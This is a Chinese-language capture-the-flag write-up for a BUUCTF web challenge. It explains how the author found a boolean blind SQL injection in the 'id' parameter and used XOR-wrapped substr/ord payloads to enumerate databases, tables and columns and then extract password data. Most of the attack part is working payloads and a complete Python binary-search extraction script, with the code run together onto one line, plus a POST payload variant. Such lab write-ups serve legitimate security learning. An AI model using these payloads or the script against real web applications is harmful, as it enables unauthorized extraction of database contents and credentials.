题目:
五个小框框什么也没有
发现应该在第六个框框有点线索,所以尝试url框里面id=6试一试
表明flag 不在这个表里面。。。啥意思
用户名和密码处都试过了,过滤了很多,包括 ’ ,select,databases,tables等等,反正能用的都过滤了
后来看wp才知道,原来是需要在id处注入,具体注入方法和这个一样BUU18 [CISCN2019 华北赛区 Day2 Web1]Hack World【SQL布尔盲注】-CSDN博客y
判断为布尔盲注:
先注入一个试试:
经过n次尝试终于成功了,注意这里:
1.查询库名可以通过select schema_name from information_schema.schemata
id=1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=100)^1
也可以这么写
1^(ord(substr((select(database())),1,1))=100)^1
一半自己写的一半抄的代码:
利用二分法
import requests
import timeflag = ""
url="http://00d22f10-012a-466e-8fd3-079e487de94f.node5.buuoj.cn:81/search.php?"
temp={"id":""}
for i in range(1,1000):time.sleep(0.06)low=32high=128mid=(low+high)//2while (low<high):#爆库名:#temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i,mid)#temp["id"]="1^(ord(substr((select(database())),%d,1))>%d)^1"%(i,mid)#爆表名:#temp["id"]="1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)^1" % (i,mid)#爆列名#temp["id"]="1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)#爆出password内容 注意这里不能用from库名不能加上''!!!temp["id"]="1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)request=requests.get(url,params=temp)time.sleep(0.04)if "others" in request.text :low=mid+1else:high=midmid=(low+high)//2if(mid==32 or mid==127):breakflag+=chr(mid)print(flag)
print("ALL:",flag)
有很多第一次学到的知识:
1.向url发送get的请求方法:
1)声明一个字典 temp={"id":""} 存储get发送的请求参数
2)url中要把 ? 一块写上
3)赋值temp字典内容: temp["id"]="xxxxxxxxxxx"
4)格式化字符串有两种写法:
- f"xxxxxx{mid}xxxxxxx",这里的f就是声明一个格式化字符串
- "xxxxxxxxx%dxxxxxx" %(mid)
5)发送url get请求格式 r=requests.get(url,params=temp)
6)注意使用time.sleep()减少发送请求频率
2.向url发送post请求的方法:
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"data = {"id":payload}res = requests.post(url=url, data=data).text